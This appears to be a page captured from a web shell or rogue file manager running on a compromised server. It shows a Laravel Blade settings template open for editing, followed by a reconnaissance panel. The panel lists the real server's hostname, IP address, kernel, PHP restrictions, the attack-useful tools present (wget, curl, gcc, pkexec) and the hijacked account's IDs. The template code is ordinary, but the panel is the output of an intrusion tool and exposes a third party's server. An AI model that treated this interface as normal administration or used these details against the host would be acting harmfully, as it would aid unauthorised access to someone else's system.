isset($setting['meta_keywords']) ? $setting['meta_keywords'] : '', ['class' => 'form-control', 'placeholder' => __('Enter Meta Keywords'), 'required' => 'required']) }} </div> <div class="col-lg-12 col-md-12 col-sm-12 form-group"> {{ Form::label('Telegram ChatID', __('Meta Description'), ['class' => 'form-label']) }} {{ Form::textarea('meta_description', isset($setting['meta_description']) ? $setting['meta_description'] : '', ['class' => 'form-control', 'placeholder' => __('Enter Meta Description'), 'required' => 'required']) }} </div> </div> <div class="col-lg-6 col-md-6"> {{-- <div class="card"> --}} {{-- <div class="card-header"> --}} <h6>{{ __('Meta Image') }}</h6> {{-- </div> --}} {{-- <div class="card-body"> --}} <div class="logo-content"> <img src="@if ($setting['meta_image']) {{ asset($meta_images . $setting['meta_image']) }} @else{{ asset($meta_images . 'meta_image.png') }} @endif" class="col-9" id="meta" /> </div> <div class="choose-file mt-5 "> <label for="meta_image"> <div class=" bg-primary"> <i class="ti ti-upload px-1"></i>{{ __('Choose file here') }} </div> <input type="file" name="meta_image" id="meta_image" class="custom-input-file choose_file_custom" onchange="document.getElementById('meta').src = window.URL.createObjectURL(this.files[0])" /> </label> <p class="meta-image"></p> </div> {{-- </div> --}} {{-- </div> --}} </div> </div> </div> </div> <div class="card-footer text-end"> {{ Form::submit(__('Save Changes'), ['class' => 'btn btn-primary']) }} </div> </div> </div> </div> {{ Form::close() }} </div> <!--cache--> <div class="" id="cache"> <div class="row justify-content-center"> <div class="col-md-12"> <div class="card"> <div class="card-header"> <h5>{{ __('Cache Settings') }}</h5> <small>{{ __('This is a page meant for more advanced users, simply ignore it if you dont understand what cache is.') }}</small> </div> <div class="card-body"> <div class="row"> <div class="col-md-12 py-2"> </div> <div class="col-lg-12 py-2"> {{ Form::label('cache', __('Current cache size'), ['class' => 'col-form-label']) }} <div class="input-group "> <input type="text" value="{{ App\Models\Utility::GetCacheSize() }}" class="form-control" disabled> <span class="input-group-text bg-transparent">{{ __('MB') }}</span> </div> </div> </div> </div> <div class="card-footer text-end"> <a href="{{ url('config-cache') }}" class="btn btn-primary">{{ __('Clear Cache') }}</a> </div> </div> </div> </div> </div> <!--cookie-settings--> <div class="" id="cookie-settings"> <div class="row justify-content-center"> <div class="col-md-12"> <div class="card" id=""> {{ Form::model($setting, ['route' => 'cookie.setting', 'method' => 'post']) }} <div class="card-header flex-column flex-lg-row d-flex align-items-lg-center gap-2 justify-content-between"> <h5>{{ __('Cookie Settings') }}</h5> <div class="d-flex align-items-center"> {{ Form::label('enable_cookie', __('Enable cookie'), ['class' => 'col-form-label p-0 fw-bold me-3']) }} <div class="custom-control custom-switch" id="cookie_dis"> <input type="checkbox" data-toggle="switchbutton" data-onstyle="primary" name="enable_cookie" class="form-check-input input-primary " id="enable_cookie" {{ $setting['enable_cookie'] == 'on' ? ' checked ' : '' }}> <label class="custom-control-label mb-1" for="enable_cookie"></label> </div> </div> </div> <div class="card-body"> <div class="row"> <div class="text-end col-12"> <a data-size="lg" data-ajax-popup-over="true" class="btn btn-sm text-white btn-primary" data-url="{{ route('generate', ['cookie']) }}" data-bs-toggle="tooltip" data-bs-placement="top" title="{{ __('Generate with AI') }}" data-title="{{ __('Generate Cookie Title & Description') }}"> <i class="fas fa-robot text-white px-1"></i>{{ __('Generate with AI') }}</a> </div> <div class="col-md-6"> <div class="form-check form-switch custom-switch-v1"> <input type="checkbox" name="cookie_logging" class="form-check-input input-primary" id="todisable" {{ $setting['cookie_logging'] == 'on' ? ' checked ' : '' }}> <label class="form-check-label" for="cookie_logging">{{ __('Enable logging') }}</label> </div> <div class="form-group"> {{ Form::label('cookie_title', __('Cookie Title'), ['class' => 'col-form-label']) }} {{ Form::text('cookie_title', isset($setting['cookie_title']) ? $setting['cookie_title'] : '', ['class' => 'form-control', 'id' => 'todisable']) }} </div> <div class="form-group "> {{ Form::label('cookie_description', __('Cookie Description'), ['class' => ' form-label']) }} {!! Form::textarea( 'cookie_description', isset($setting['cookie_description']) ? $setting['cookie_description'] : '', ['class' => 'form-control ', 'rows' => '2', 'id' => 'todisable'], ) !!} </div> </div> <div class="col-md-6"> <div class="form-check form-switch custom-switch-v1 "> <input type="checkbox" name="necessary_cookies" class="form-check-input input-primary" id="todisable" {{ $setting['necessary_cookies'] == 'on' ? ' checked ' : '' }}> <label class="form-check-label" for="necessary_cookies">{{ __('Strictly necessary cookies') }}</label> </div> <div class="form-group "> {{ Form::label('strictly_cookie_title', __(' Strictly Cookie Title'), ['class' => 'col-form-label']) }} {{ Form::text('strictly_cookie_title', isset($setting['strictly_cookie_title']) ? $setting['strictly_cookie_title'] : '', ['class' => 'form-control', 'id' => 'todisable']) }} </div> <div class="form-group "> {{ Form::label('strictly_cookie_description', __('Strictly Cookie Description'), ['class' => ' form-label']) }} {!! Form::textarea( 'strictly_cookie_description', isset($setting['strictly_cookie_description']) ? $setting['strictly_cookie_description'] : '', ['class' => 'form-control ', 'rows' => '2', 'id' => 'todisable'], ) !!} </div> </div> <div class="col-12"> <h5>{{ __('More Information') }}</h5> </div> <div class="col-md-6"> <div class="form-group "> {{ Form::label('more_information_description', __('Contact Us Description'), ['class' => 'col-form-label']) }} {{ Form::text('more_information_description', isset($setting['more_information_description']) ? $setting['more_information_description'] : '', ['class' => 'form-control', 'id' => 'todisable']) }} </div> </div> <div class="col-md-6"> <div class="form-group "> {{ Form::label('contactus_url', __('Contact Us URL'), ['class' => 'col-form-label']) }} {{ Form::text('contactus_url', isset($setting['contactus_url']) ? $setting['contactus_url'] : '', ['class' => 'form-control', 'id' => 'todisable']) }} </div> </div> </div> </div> <div class="card-footer"> <div class="row align-items-center justify-content-between"> <div class="col-auto"> @if (file_exists(storage_path() . '/uploads/sample/data.csv') && $setting['cookie_logging'] == 'on') <label for="file" class="form-label">{{ __('Download cookie accepted data') }}</label> <a href="{{ asset(Storage::url('uploads/sample')) . '/data.csv' }}" class="btn btn-primary"> <i class="ti ti-download"></i> </a> @endif </div> <div class="col-auto"> <input type="submit" value="{{ __('Save Changes') }}" class="btn btn-primary"> </div> </div> </div> {{ Form::close() }} </div> </div> </div> </div> <!--chat-gtp--> <div class="" id="chat-gpt-settings"> <div class="row justify-content-center"> <div class="col-md-12"> <div class="card" id=""> {{ Form::model($setting, ['route' => 'settings.chatgptkey', 'method' => 'post']) }} <div class="card-header flex-column flex-lg-row d-flex align-items-lg-center gap-2 justify-content-between"> <div class="col-6"> <h5>{{ __('Chat GPT Key Settings') }}</h5> <small>{{ __('Edit your key details') }}</small> </div> <div class="col-6 text-end"> <div class="custom-control custom-switch" id="cookie_dis"> {{ Form::label('enable_chatgpt', __('Enable ChatGPT'), ['class' => 'col-form-label p-0 fw-bold me-3']) }} <input type="checkbox" data-toggle="switchbutton" data-onstyle="primary" name="enable_chatgpt" class="form-check-input input-primary " id="enable_chatgpt" {{ $setting['enable_chatgpt'] == 'on' ? ' checked ' : '' }}> <label class="custom-control-label mb-1" for="enable_chatgpt"></label> </div> </div> </div> <div class="card-body"> <div class="row"> <div class="col-md-12"> <div class="form-group "> {{ Form::label('chatgpt_key', __('ChatGPT key'), ['class' => 'col-form-label']) }} {{ Form::text('chatgpt_key', isset($setting['chatgpt_key']) ? $setting['chatgpt_key'] : '', ['class' => 'form-control', 'placeholder' => __('Enter Chatgpt Key Here')]) }} </div> </div> <div class="col-md-12"> <div class="form-group "> {{ Form::label('chatgpt_model', __('ChatGPT Model'), ['class' => 'col-form-label']) }} {{ Form::text('chatgpt_model', isset($setting['chatgpt_model']) ? $setting['chatgpt_model'] : '', ['class' => 'form-control', 'placeholder' => __('Enter Chatgpt Model Here')]) }} </div> </div> </div> </div> <div class="card-footer text-end "> <input type="submit" value="{{ __('Save Changes') }}" class="btn btn-primary"> </div> {{ Form::close() }} </div> </div> </div> </div> </div> <!-- [ sample-page ] end --> </div> <!-- [ Main Content ] end --> </div> </div> @endsection @push('css-page') <style> .active_color { background-color: #ffffff !important; border: 2px solid #000 !important; } </style> @if ($color == 'theme-3') <style> .btn-check:checked+.btn-outline-primary, .btn-check:active+.btn-outline-primary, .btn-outline-primary:active, .btn-outline-primary.active, .btn-outline-primary.dropdown-toggle.show { color: #ffffff; background-color: #6fd943 !important; border-color: #6fd943 !important; } .btn-outline-primary:hover { color: #ffffff; background-color: #6fd943 !important; border-color: #6fd943 !important; } .btn[class*="btn-outline-"]:hover { border-color: #6fd943 !important; } </style> @endif @if ($color == 'theme-2') <style> .btn-check:checked+.btn-outline-primary, .btn-check:active+.btn-outline-primary, .btn-outline-primary:active, .btn-outline-primary.active, .btn-outline-primary.dropdown-toggle.show { color: #ffffff; background-color: #1f3996 !important; border-color: #1f3996 !important; } body.theme-2 .btn-outline-primary:hover { color: #ffffff; background-color: #1f3996 !important; border-color: #1f3996 !important; } </style> @endif @if ($color == 'theme-4') <style> .btn-check:checked+.btn-outline-primary, .btn-check:active+.btn-outline-primary, .btn-outline-primary:active, .btn-outline-primary.active, .btn-outline-primary.dropdown-toggle.show { color: #ffffff; background-color: #51459d !important; border-color: #51459d !important; } body.theme-4 .btn-outline-primary:hover { color: #ffffff; background-color: #51459d !important; border-color: #51459d !important; } </style> @endif @if ($color == 'theme-1') <style> .btn-check:checked+.btn-outline-primary, .btn-check:active+.btn-outline-primary, .btn-outline-primary:active, .btn-outline-primary.active, .btn-outline-primary.dropdown-toggle.show { color: #ffffff; background-color: #6fd943 !important; border-color: #6fd943 !important; } body.theme-1 .btn-outline-primary:hover { color: #ffffff; background-color: #6fd943 !important; border-color: #6fd943 !important; } </style> @endif @endpush @push('scripts') <script> $("#cookie_dis").click(function() { if ($('#enable_cookie').prop('checked')) { ele = document.querySelectorAll('[id="todisable"]'); for (i = 0; i < ele.length; i++) { ele[i].disabled = false; } } else { ele = document.querySelectorAll('[id="todisable"]'); for (i = 0; i < ele.length; i++) { ele[i].disabled = true; } } }); </script> @if ($setting['enable_cookie'] != 'on') <script> ele = document.querySelectorAll('[id="todisable"]'); for (i = 0; i < ele.length; i++) { ele[i].disabled = true; } </script> @endif <script> function check_theme(color_val) { $('.theme-color').prop('checked', false); $('input[value="' + color_val + '"]').prop('checked', true); } var scrollSpy = new bootstrap.ScrollSpy(document.body, { target: '#useradd-sidenav', offset: 300 }) </script> <script> $(document).on("click", '.send_email', function(e) { e.preventDefault(); var title = $(this).attr('data-title'); var size = 'md'; var url = $(this).attr('data-url'); if (typeof url != 'undefined') { $("#commonModal .modal-title").html(title); $("#commonModal .modal-dialog").addClass('modal-' + size); $("#commonModal").modal('show'); $.post(url, { mail_driver: $("#mail_driver").val(), mail_host: $("#mail_host").val(), mail_port: $("#mail_port").val(), mail_username: $("#mail_username").val(), mail_password: $("#mail_password").val(), mail_encryption: $("#mail_encryption").val(), mail_from_address: $("#mail_from_address").val(), mail_from_name: $("#mail_from_name").val(), }, function(data) { $('#commonModal .body').html(data); }); } }); $(document).on('submit', '#test_email', function(e) { e.preventDefault(); $("#email_sending").show(); var post = $(this).serialize(); var url = $(this).attr('action'); $.ajax({ type: "post", url: url, data: post, cache: false, beforeSend: function() { $('#test_email .btn-create').attr('disabled', 'disabled'); }, success: function(data) { if (data.is_success) { show_toastr('Success', data.message, 'success'); } else { show_toastr('Error', data.message, 'error'); } $("#email_sending").hide(); }, complete: function() { $('#test_email .btn-create').removeAttr('disabled'); }, }); }) </script> <script> $(document).ready(function() { if ($('.gdpr_fulltime').is(':checked')) { $('.fulltime').show(); } else { $('.fulltime').hide(); } $('#gdpr_cookie').on('change', function() { if ($('.gdpr_fulltime').is(':checked')) { $('.fulltime').show(); } else { $('.fulltime').hide(); } }); cust_theme_bg(); cust_darklayout(); $(document).on('click', '.list-group-item', function() { $('.list-group-item').removeClass('active'); $('.list-group-item').removeClass('text-primary'); setTimeout(() => { $(this).addClass('active').removeClass('text-primary'); }, 10); }); var type = window.location.hash.substr(1); $('.list-group-item').removeClass('active'); $('.list-group-item').removeClass('text-primary'); if (type != '') { $('a[href="#' + type + '"]').addClass('active').removeClass('text-primary'); } else { $('.list-group-item:eq(0)').addClass('active').removeClass('text-primary'); } }); </script> <script> function cust_theme_bg() { var custthemebg = document.querySelector("#cust-theme-bg"); if (custthemebg.checked) { document.querySelector(".dash-sidebar").classList.add("transprent-bg"); document .querySelector(".dash-header:not(.dash-mob-header)") .classList.add("transprent-bg"); } else { document.querySelector(".dash-sidebar").classList.remove("transprent-bg"); document .querySelector(".dash-header:not(.dash-mob-header)") .classList.remove("transprent-bg"); } } function cust_darklayout() { var custdarklayout = document.querySelector("#cust-darklayout"); if (custdarklayout.checked) { document .querySelector("#main-style-link") .setAttribute("href", "{{ asset('assets/css/style-dark.css') }}"); } else { document .querySelector("#main-style-link") .setAttribute("href", "{{ asset('assets/css/style.css') }}"); } } </script> <script type="text/javascript"> $('#small-favicon').change(function() { let reader = new FileReader(); reader.onload = (e) => { $('#favicon').attr('src', e.target.result); } reader.readAsDataURL(this.files[0]); }); $('#logo_blue').change(function() { let reader = new FileReader(); reader.onload = (e) => { $('#dark_logo').attr('src', e.target.result); } reader.readAsDataURL(this.files[0]); }); $('#logo_white').change(function() { let reader = new FileReader(); reader.onload = (e) => { $('#image').attr('src', e.target.result); } reader.readAsDataURL(this.files[0]); }); </script> <script> $(document).ready(function() { if ($('.gdpr_fulltime').is(':checked')) { $('.fulltime').show(); } else { $('.fulltime').hide(); } $('#gdpr_cookie').on('change', function() { if ($('.gdpr_fulltime').is(':checked')) { $('.fulltime').show(); } else { $('.fulltime').hide(); } }); }); var scrollSpy = new bootstrap.ScrollSpy(document.body, { target: '#useradd-sidenav', offset: 300 }) $('.themes-color-change').on('click', function() { var color_val = $(this).data('value'); $('.theme-color').prop('checked', false); $('.themes-color-change').removeClass('active_color'); $(this).addClass('active_color'); $(`input[value=${color_val}]`).prop('checked', true); }); if ($(".multi-select").length > 0) { $($(".multi-select")).each(function(index, element) { var id = $(element).attr('id'); var multipleCancelButton = new Choices( '#' + id, { removeItemButton: true, } ); }); } $(document).on('change', '[name=storage_setting]', function() { if ($(this).val() == 's3') { $('.s3-setting').removeClass('d-none'); $('.wasabi-setting').addClass('d-none'); $('.local-setting').addClass('d-none'); } else if ($(this).val() == 'wasabi') { $('.s3-setting').addClass('d-none'); $('.wasabi-setting').removeClass('d-none'); $('.local-setting').addClass('d-none'); } else { $('.s3-setting').addClass('d-none'); $('.wasabi-setting').addClass('d-none'); $('.local-setting').removeClass('d-none'); } }); </script> {{-- color picker script --}} <script> $('.colorPicker').on('click', function(e) { $('body').removeClass('custom-color'); if (/^theme-\d+$/) { $('body').removeClassRegex(/^theme-\d+$/); } $('body').addClass('custom-color'); $('.themes-color-change').removeClass('active_color'); $(this).addClass('active_color'); const input = document.getElementById("color-picker"); setColor(); input.addEventListener("input", setColor); function setColor() { $(':root').css('--color-customColor', input.value); } $(`input[name='color_flag`).val('true'); }); $('.themes-color-change').on('click', function() { $(`input[name='color_flag`).val('false'); var color_val = $(this).data('value'); $('body').removeClass('custom-color'); if (/^theme-\d+$/) { $('body').removeClassRegex(/^theme-\d+$/); } $('body').addClass(color_val); $('.theme-color').prop('checked', false); $('.themes-color-change').removeClass('active_color'); $('.colorPicker').removeClass('active_color'); $(this).addClass('active_color'); $(`input[value=${color_val}]`).prop('checked', true); }); $.fn.removeClassRegex = function(regex) { return $(this).removeClass(function(index, classes) { return classes.split(/\s+/).filter(function(c) { return regex.test(c); }).join(' '); }); }; </script> @endpush
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002